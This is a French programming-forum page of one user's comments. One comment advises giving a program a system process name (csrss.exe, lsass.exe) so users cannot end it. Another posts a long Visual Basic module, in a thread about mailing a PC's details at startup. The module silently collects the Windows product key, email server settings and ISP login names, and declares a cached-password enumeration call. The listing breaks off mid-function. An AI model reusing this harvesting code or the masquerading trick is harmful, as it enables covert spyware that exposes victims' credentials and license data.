AccueilCodesTutorielsForumsEmploiLivresGuide achatConnexion

  • CodeS-SourceS
  • RSS CodeS-SourceS
  • CodyxBot, le Bot GTalk & MSN qu'il vous faut !
  • Générez des revenus avec vos codes, scripts et tutoriaux
  • Aide à la navigation du site
begin process at 2009 07 11 17:08:44
Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

35 commentaire(s) de Elastycman sur des sources sur tout CodeS-SourceS

Le : 03/10/2006 00:14:42
Source : DONGLE USB
Sinon il y a plus radical... tu coupes le courant de chez toi en partant!! Nan personne n'adhere a cette idee...??

Le : 01/10/2006 23:49:16
Source : DONGLE USB
Ca fesait lgtp que j'etais pas revenu ici moi!!
Une bonne astuce pr XP, appelle ton processus csrss.exe ou smss.exe ou lsass.exe. Avec ses noms, le process n'est pas killable via le ctrl+alt+suppr. Ce sont les nom de process windows que l'utilisateur ne doit pouvoir killer et comme windows c'est pas supper bien foutu bah il n'y a de verif apparement que sur le nom de process!
Bonne prog!

..::ElastycmaN::..

Le : 01/04/2005 14:29:58
Source : LILO : NOUVEAU LANGAGE DE PROGRAMMATION
Lilo...... c'est pas dja prit comme nom?! Ce serait pas genre le boot de linux...!
Sympa comme langage en tt K! 8/10

Le : 14/03/2005 19:13:45
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
Voila un pti module qui n'est pas de moi, joré bien voulu mettre le lien de la source ainsi ke le nom de l'auteur mais impossible de la retrouver (ca fé une demi heure ke je cherche!). Il permet de récuperer plein plein d'infos. Enregistre ce ki suit en tant ke module :


---------------------------------------------------------------------
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&




'Avoir la version de l'OS
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
    wSPMajor As Integer
End Type

Const BITSPIXEL = 12
Const PLANES = 14
Const VER_PLATFORM_WIN32s = 0
Const VER_PLATFORM_WIN32_WINDOWS = 1
Const VER_PLATFORM_WIN32_NT = 2

'Avoir le nombre de couleurs de l'écran
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal nIndex As Long) As Long
Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long

'Vitesse du double click
Declare Function GetDoubleClickTime Lib "user32" () As Long

'Avoir le nom de l'ordinateur
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
                 ByVal lpBuffer As String, _
                 nSize As Long) As Long

'Heure système du PC
Declare Sub GetSystemTime Lib "kernel32" ( _
                 lpSystemTime As SYSTEMTIME)


'Heure locale du Pc
Declare Sub GetLocalTime Lib "kernel32" ( _
                 lpSystemTime As SYSTEMTIME)

'Temps écoulé depuis l'ouverture de windows
Declare Function GetTickCount Lib "kernel32" () As Long

'Obtenir le chemin du répertoire système de windows
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'Obtenir le chemin du répertoire temporaire de windows
Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

'Obtenir le chemin du répertoire de windows
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" ( _
                 ByVal lpBuffer As String, _
                 ByVal nSize As Long) As Long

'Récupère le login sous Nt
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

'Avoir l'espace libre d'un disque
Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpDirectoryName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

'Informations sur la mémoire
Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Type MEMORYSTATUS
    dwLength As Long
    dwMemoryLoad As Long
    dwTotalPhys As Long
    dwAvailPhys As Long
    dwTotalPageFile As Long
    dwAvailPageFile As Long
    dwTotalVirtual As Long
    dwAvailVirtual As Long
End Type


Type SYSTEMTIME
    wYear As Integer
    wMonth As Integer
    wDayOfWeek As Integer
    wDay As Integer
    wHour As Integer
    wMinute As Integer
    wSecond As Integer
    wMilliseconds As Integer
End Type







Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long


Type PASSWORD_CACHE_ENTRY
cbEntry As Integer
cbResource As Integer
cbPassword As Integer
iEntry As Byte
nType As Byte
abResource(1 To 1024) As Byte
End Type



Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long


Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long


Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long


Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long


Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
    Public Const REG_SZ = 1 ' Unicode nul terminated String
    Public Const REG_DWORD = 4 ' 32-bit number
    
    
Public Function RecupInfosPc() As String
On Error Resume Next
Const Cinternet = "Software\Microsoft\Internet ClientX"
Const Clef = "Software\Microsoft\Windows\CurrentVersion\"
Dim Infos As String
Dim FicKeylog, Nom, Organisation, Ordinateur, Serial As String
Dim Versionwin, VersionNum, ProductId, MMX As String
Dim Repwindows, Productname, Processeur, Idprocesseur As String
Dim Infonie, Wanadoo, VerInternet As String
Dim Email, EmailName, SMTPServer, NNTPServer, POPServer As String
Dim RepProgramFiles As String


Set fso = CreateObject("Scripting.FileSystemObject")
Set ld = fso.Drives

'Infos sur l'utilisateur
VNumber = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
Organisation = getstring(HKEY_LOCAL_MACHINE, Clef, "RegisteredOrganization")
Serial = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductKey")
VersionNum = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
ProductId = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductId")
Productname = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductName")
Processeur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "VendorIdentifier")
Idprocesseur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "Identifier")
RepProgramFiles = getstring(HKEY_LOCAL_MACHINE, Clef, "ProgramFilesPath")
MMX = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "MMXIdentifier")

'Infos sur internet
VerInternet = getstring(HKEY_LOCAL_MACHINE, Clef, "Plus! VersionNumber")
Wanadoo = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\Wanadoo Plus", "User")
Infonie = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\infonie", "User")
Email = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Address")
EmailName = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Name")
SMTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "SMTP_Server")
POPServer = getstring(HKEY_CURRENT_USER, Cinternet, "POP_Server")
NNTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "NNTP_Server")

'Récupération des infos
Infos = ""
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS UTILISATEUR*****************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Nom de l'utilisateur   : " + UserName() + vbCrLf
Infos = Infos + "Nom de l'ordinateur    : " + ComputerName() + vbCrLf
Infos = Infos + "Nom de l'organisation  : " + Organisation + vbCrLf
Infos = Infos + "Vitesse du double-click: " & GetDoubleClickTime & " millisecondes" & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS ORDINATEUR******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
'Infos = Infos + "Heure locale du PC     : " & CStr(HeureLocale) & vbCrLf
'Infos = Infos + "Heure système du PC    : " & CStr(HeureSysteme) & vbCrLf
Infos = Infos + "Résolution de l'écran  : " & Resolution & vbCrLf
Infos = Infos + "Nombre de couleurs     : " & NbCouleurs & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS OS************************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "OS de la machine       : " + RecupOS + vbCrLf
Infos = Infos + "Système d'exploitation : " + Productname + vbCrLf
Infos = Infos + "Numéro de la version   : " + VersionNum + vbCrLf
Infos = Infos + "Numéro de série        : " + Serial + vbCrLf
Infos = Infos + "ProductId              : " + ProductId + vbCrLf
Infos = Infos + "Répertoire de Windows  : " + WindowsDirectory + vbCrLf
Infos = Infos + "Répertoire système     : " + SystemDirectory + vbCrLf
Infos = Infos + "Repertoire temporaire  : " + TempFolder + vbCrLf
Infos = Infos + "Repertoire des progs   : " + RepProgramFiles + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS INTERNET******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Version d'I.E          : " + VerInternet + vbCrLf
Infos = Infos + "Email expéditeur       : " + EmailName + vbCrLf
Infos = Infos + "Adresse Email          : " + Email + vbCrLf
Infos = Infos + "Serveur SMTP           : " + SMTPServer + vbCrLf
Infos = Infos + "Serveur POP            : " + POPServer + vbCrLf
Infos = Infos + "Serveur NNTP           : " + NNTPServer + vbCrLf
Infos = Infos + "Host Name              : " + GetIPHostName + vbCrLf
Infos = Infos + "IP du poste            : " + GetIPAddress + vbCrLf
If Wanadoo <> "" Then
Infos = Infos + "Login Wanadoo          : " + Wanadoo + vbCrLf
End If
If Infonie <> "" Then
Infos = Infos + "Login Infonie          : " + Infonie + vbCrLf
End If
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "******************INFORMATIONS MATERIEL*******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
If MMX <> "" Then
    Infos = Infos + "MMX identificateur     : " + MMX + vbCrLf
End If
Infos = Infos + "Processeur du PC       : " + Idprocesseur + vbCrLf
Infos = Infos + "Marque du processeur   : " + Processeur + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LA MEMOIRE |" + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + Mem + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LES DISQUES |" + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
For Each d In ld
    If d.IsReady Then
        s = InfosDisk(d.Path & "\")
        Infos = Infos + CStr(s) + vbCrLf
    End If
Next
RecupInfosPc = Infos

End Function



Public Sub savekey(Hkey As Long, strPath As String)
On Error Resume Next
    Dim keyhand&
    r = RegCreateKey(Hkey, strPath, keyhand&)
    r = RegCloseKey(keyhand&)
End Sub


Public Function getstring(Hkey As Long, strPath As String, strValue As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'text1.text = getstring(HKEY_CURRENT_USE
    '     R, "Software\VBW\Registry", "String")
    '
    Dim keyhand As Long
    Dim datatype As Long
    Dim lResult As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
    r = RegOpenKey(Hkey, strPath, keyhand)
    lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)


    If lValueType = REG_SZ Then
        strBuf = String(lDataBufSize, " ")
        lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)


        If lResult = ERROR_SUCCESS Then
            intZeroPos = InStr(strBuf, Chr$(0))


            If intZeroPos > 0 Then
                getstring = Left$(strBuf, intZeroPos - 1)
            Else
                getstring = strBuf
            End If
        End If
    End If
End Function


Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'Call savestring(HKEY_CURRENT_USER, "Software\VBW\Registry", "String", text1.text)
    '
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Sub


Function getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long
    On Error Resume Next
    'EXAMPLE:
    '
    'text1.text = getdword(HKEY_CURRENT_USER
    '     , "Software\VBW\Registry", "Dword")
    '
    Dim lResult As Long
    Dim lValueType As Long
    Dim lBuf As Long
    Dim lDataBufSize As Long
    Dim r As Long
    Dim keyhand As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    ' Get length/data type
    lDataBufSize = 4
    lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)


    If lResult = ERROR_SUCCESS Then


        If lValueType = REG_DWORD Then
            getdword = lBuf
        End If
        'Else
        'Call errlog("GetDWORD-" & strPath, Fals
        '     e)
    End If
    r = RegCloseKey(keyhand)
End Function


Function SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)
    On Error Resume Next
    'EXAMPLE"
    '
    'Call SaveDword(HKEY_CURRENT_USER, "Soft
    '     ware\VBW\Registry", "Dword", text1.text)
    '
    '
    Dim lResult As Long
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)
    'If lResult <> error_success Then
    '     Call errlog("SetDWORD", False)
    r = RegCloseKey(keyhand)
End Function


Public Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'Call DeleteKey(HKEY_CURRENT_USER, "Soft
    '     ware\VBW")
    '
    Dim r As Long
    r = RegDeleteKey(Hkey, strKey)
End Function


Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'Call DeleteValue(HKEY_CURRENT_USER, "So
    '     ftware\VBW\Registry", "Dword")
    '
    Dim keyhand As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function





'Heure système du Pc
'Retourne l'heure système sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureSysteme() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetSystemTime(sysTime)
HeureSysteme = CStr(sysTime.wDayOfWeek & ", " & _
               sysTime.wDay & "/" & _
               sysTime.wMonth & "/" & _
               sysTime.wYear & " " & _
               sysTime.wHour & ":" & _
               sysTime.wMinute & ":" & _
               sysTime.wSecond & "'" & _
               sysTime.wMilliseconds)
End Function


'Heure locale du Pc
'Retourne l'heure locale sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureLocale() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetLocalTime(sysTime)
HeureLocale = CStr(sysTime.wDayOfWeek & ", " & _
               sysTime.wDay & "/" & _
               sysTime.wMonth & "/" & _
               sysTime.wYear & " " & _
               sysTime.wHour & ":" & _
               sysTime.wMinute & ":" & _
               sysTime.wSecond & "'" & _
               sysTime.wMilliseconds)
End Function

'Retourne le nom de l'ordinateur
Public Function ComputerName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetComputerName(stTmp, lgTmp)
ComputerName = Split(stTmp, Chr$(0))(0)

End Function

'Temps écoulé depuis l'ouverture de windows
'Procédure de temporisation
'Le temps d'attente donné en paramètre en millisecondes est approximatif
Public Sub Sleep(lgMSec As Long)
On Error Resume Next
Dim lgTime As Long
lgTime = GetTickCount
Do While lgTime + lgMSec > GetTickCount
    DoEvents
    DoEvents
    DoEvents
Loop

End Sub

'Temps écoulé dps l'ouverture de windows
Public Function TpsEcoule() As String
On Error Resume Next
Dim Temps, h, mn, s As Integer

Temps = Int(GetTickCount() / 1000)
h = Int(Temps / 3600)
mn = Int((Temps - 3600 * h) / 60)
s = Temps - 3600 * h - 60 * mn
TpsEcoule = h & " h " & mn & " mn " & s & " s"

End Function

'Retourne le chemin du répertoire système de windows
Public Function SystemDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetSystemDirectory(stTmp, lgTmp)
SystemDirectory = Split(stTmp, Chr$(0))(0)

End Function

'Récupère le login sous Nt
Public Function LoginNt() As String
On Error Resume Next
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As String

lngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1)
LoginNt = NTDomainUserName

End Function

'Connaitre le nombre de couleurs de l'écran

Public Function NbCouleurs() As String
On Error Resume Next
Dim lgDC As Long, lgRep As Long, lgNb As Double

lgDC = GetDC(GetDesktopWindow)
lgNb = GetDeviceCaps(lgDC, PLANES) * 2 ^ GetDeviceCaps(lgDC, BITSPIXEL)
lgRep = ReleaseDC(GetDesktopWindow, lgDC)
If lgNb = 65536 Then NbCouleurs = " (16 bits)"
If lgNb = 4294967296# Then NbCouleurs = " (32 bits)"
NbCouleurs = CStr(lgNb) & " Couleurs" & NbCouleurs

End Function

'Connaitre la résolution de l'écran
Public Function Resolution() As String
On Error Resume Next
Largeur% = Screen.Width \ Screen.TwipsPerPixelX
Hauteur% = Screen.Height \ Screen.TwipsPerPixelY
Resolution = Largeur% & " x " & Hauteur%

End Function

'Connaitre la version de Windows
Public Function RecupOS() As String
On Error Resume Next
Dim Msg As String
Dim myVer As OSVERSIONINFO
Dim dl&

Msg = ""
myVer.dwOSVersionInfoSize = 148
dl& = GetVersionEx&(myVer)
If myVer.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
    If myVer.dwMajorVersion = 4 And myVer.dwMinorVersion = 0 Then
        If myVer.dwBuildNumber = 950 Then
            Msg = "Windows 95"
        Else
            Msg = "Windows 95 OSR2"
        End If
    ElseIf myVer.dwMajorVersion = 4 And myVer.dwMinorVersion = 10 Then
        If myVer.dwBuildNumber = 1998 Then
            Msg = "Windows 98"
        Else
            Msg = "Windows 98 SE"
        End If
    ElseIf myVer.dwMajorVersion >= 4 And myVer.dwMinorVersion > 10 Then
            Msg = "Windows ME"
    End If
ElseIf myVer.dwPlatformId = VER_PLATFORM_WIN32_NT Then
    If myVer.dwMajorVersion = 3 And myVer.dwMinorVersion = 0 Then
        Msg = "Windows NT 3.0"
    ElseIf myVer.dwMajorVersion = 3 And myVer.dwMinorVersion = 1 Then
        Msg = "Windows NT 3.1"
    ElseIf myVer.dwMajorVersion = 3 And myVer.dwMinorVersion = 5 Then
        Msg = "Windows NT 3.5"
    ElseIf myVer.dwMajorVersion = 4 Then
        Msg = "Windows NT 4.0"
    ElseIf myVer.dwMajorVersion = 5 And myVer.dwMinorVersion = 0 Then
        Msg = "Windows 2000"
    ElseIf myVer.dwMajorVersion = 5 And myVer.dwMinorVersion = 1 Then
        Msg = "Windows XP Profesionnel"
    End If
    Msg = Msg + " " + myVer.szCSDVersion + " "
End If
'msg = msg + myVer.dwMajorVersion & "." & myVer.dwMinorVersion & " Build " & (myVer.dwBuildNumber And &HFFFF&)

RecupOS = Msg

End Function

' Retourne le nom de l'utilisateur courant de l'ordinateur
Public Function UserName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetUserName(stTmp, lgTmp)
UserName = Mid$(stTmp, 1, InStr(1, stTmp, Chr$(0)) - 1)

End Function

'Retourne le chemin du répertoire temporaire de windows
Public Function TempFolder() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetTempPath(lgTmp, stTmp)
TempFolder = Split(stTmp, Chr$(0))(0)

End Function

'Retourne le chemin du répertoire windows
Public Function WindowsDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetWindowsDirectory(stTmp, lgTmp)
WindowsDirectory = Split(stTmp, Chr$(0))(0)

End Function

'Connaître la taille de la mémoire
Public Function Mem() As String
On Error Resume Next
Dim Memoire As MEMORYSTATUS
GlobalMemoryStatus Memoire
Dim Msg As String

Msg = "Mémoire physique totale    : "
If Memoire.dwTotalPhys > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 3), -1) & " Go"
Else
    If Memoire.dwTotalPhys > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 2), -1) & " Mo"
    Else
        If Memoire.dwTotalPhys > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire physique libre     : "
If Memoire.dwAvailPhys > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
Else
    If Memoire.dwAvailPhys > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
    Else
        If Memoire.dwAvailPhys > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire physique utilisée  : "
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
Else
    If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 2 Then
        Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
    Else
        If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 Then
            Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf + vbCrLf

Msg = Msg + "Mémoire virtuelle totale   : "
If Memoire.dwTotalVirtual > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 3), -1) & " Go"
Else
    If Memoire.dwTotalVirtual > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 2), -1) & " Mo"
    Else
        If Memoire.dwTotalVirtual > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire virtuelle libre    : "
If Memoire.dwAvailVirtual > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
Else
        If Memoire.dwAvailVirtual > 1024 ^ 2 Then
            Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
        Else
            If Memoire.dwAvailVirtual > 1024 Then
                Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024), -1) & " Ko (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
            End If
        End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire virtuelle utilisée : "
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
Else
        If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 2 Then
            Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
        Else
            If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 Then
                Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
            End If
        End If
End If
Msg = Msg + vbCrLf + vbCrLf

Msg = Msg + "Taille totale du fichier d'échange  : "
If Memoire.dwTotalPageFile > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 3), -1) & " Go"
Else
    If Memoire.dwTotalPageFile > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 2), -1) & " Mo"
    Else
        If Memoire.dwTotalPageFile > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace libre du fichier d'échange   : "
If Memoire.dwAvailPageFile > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
Else
    If Memoire.dwAvailPageFile > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
    Else
        If Memoire.dwAvailPageFile > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace utilisé du fichier d'échange : "
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
Else
    If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 2 Then
        Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
    Else
        If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 Then
            Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Mem = Msg

End Function

Public Function InfosDisk(ByVal Disk As String) As String
On Error Resume Next
'Dim Drv As Drive
Dim TypeD As String
Dim DrvName As String
Dim Msg As String

Msg = ""
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drv = fso.GetDrive(Mid(Disk, 1, 2))
